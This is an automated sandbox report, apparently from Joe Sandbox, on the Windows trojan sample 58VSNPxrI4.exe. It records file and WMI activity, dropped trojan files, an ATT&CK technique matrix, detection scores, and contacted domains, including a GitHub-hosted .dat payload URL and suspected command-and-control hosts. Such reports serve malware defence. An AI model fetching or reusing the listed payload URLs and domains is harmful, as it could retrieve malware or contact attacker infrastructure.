Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\58VSNPxrI4.exe

Code function: 0_2_00007FF783AC6F94 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF783AC6F94

Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF6EFC0 strchr,strchr,inet_pton,strchr,strtoul,strchr,strtoul,memmove,getsockname,WSAGetLastError,inet_ntop,WSAGetLastError,memmove,htons,bind,WSAGetLastError,getsockname,getsockname,listen,WSAGetLastError,htons,	32_2_00007FFBBAF6EFC0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFA1EA6 bind,WSAGetLastError,	32_2_00007FFBBAFA1EA6
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF9B3F0 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,WSAGetLastError,closesocket,closesocket,closesocket,closesocket,	32_2_00007FFBBAF9B3F0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF57410 memset,WSAGetLastError,strchr,inet_pton,htons,strtoul,inet_pton,htons,WSAGetLastError,htons,htons,bind,htons,bind,WSAGetLastError,	32_2_00007FFBBAF57410
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFA2130 bind,WSAGetLastError,	32_2_00007FFBBAFA2130

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	11 System Time Discovery	1 Exploitation of Remote Services	12 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	111 Windows Service	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	22 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	111 Windows Service	1 DLL Side-Loading	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	11 Process Injection	11 File Deletion	LSA Secrets	1 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 Service Execution	RC Scripts	1 Scheduled Task/Job	12 Masquerading	Cached Domain Credentials	121 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	121 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
58VSNPxrI4.exe	46%	Virustotal		Browse
58VSNPxrI4.exe	39%	ReversingLabs	Win64.Trojan.Generic
58VSNPxrI4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\System32\x939048.dat	100%	Joe Sandbox ML
C:\Windows \System32\printui.dll	32%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows \System32\printui.exe	0%	ReversingLabs
C:\Windows\System32\console_zero.exe	42%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows\System32\libcrypto-3-x64.dll	0%	ReversingLabs
C:\Windows\System32\libcurl.dll	0%	ReversingLabs
C:\Windows\System32\libiconv-2.dll	0%	ReversingLabs
C:\Windows\System32\libintl-9.dll	0%	ReversingLabs
C:\Windows\System32\libpq.dll	0%	ReversingLabs
C:\Windows\System32\libssl-3-x64.dll	0%	ReversingLabs
C:\Windows\System32\libwinpthread-1.dll	0%	ReversingLabs
C:\Windows\System32\ucrtbased.dll	0%	ReversingLabs
C:\Windows\System32\vcruntime140d.dll	0%	ReversingLabs
C:\Windows\System32\x939048.dat	34%	ReversingLabs	Win64.Trojan.Midie
C:\Windows\System32\zlib1.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
unvdwl.com	45.94.31.128	true	false	unknown
ipinfo.io	34.117.59.81	true	false	high
github.com	20.233.83.145	true	false	high
raw.githubusercontent.com	185.199.108.133	true	false	high
unvmainx.com	194.26.192.189	true	false	unknown
dns.google	8.8.4.4	true	false	high
rootunvdwl.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://raw.githubusercontent.com/runvd01/dwl/refs/heads/main/un1/uusb.dat	false	high
https://github.com/runvd01/dwl/raw/refs/heads/main/un1/uusb.dat	false	high
https://dns.google/resolve?name=rootunvdwl.com	false	high
https://dns.google/resolve?name=unvdwl.com	false	high
https://ipinfo.io/json	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://ipinfo.io/missingauth	svchost.exe, 0000001A.00000003.2211131614.0000013B844E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.2211131614.0000013B844EB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://curl.se/docs/http-cookies.html	58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, svchost.exe, 0000001A.00000002.2848750352.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, console_zero.exe, 00000020.00000002.1808383974.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp, console_zero.exe, 0000002A.00000002.1826773265.00007FFBBAFBB000.00000002.00000001.01000000.0000000A.sdmp	false	high
https://dns.google/resolve?name=	58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, svchost.exe, 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmp, console_zero.exe, console_zero.exe, 00000020.00000002.1808210205.00007FF70F2D3000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 00000020.00000000.1749217813.00007FF70F2D3000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000002A.00000002.1826480187.00007FF70F2D3000.00000002.00000001.01000000.00000011.sdmp, console_zero.exe, 0000002A.00000000.1764823946.00007FF70F2D3000.00000002.00000001.01000000.00000011.sdmp	false	high
https://www.gnu.org/licenses/	58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2845803486.00000000660F4000.00000008.00000001.01000000.0000000F.sdmp	false	high
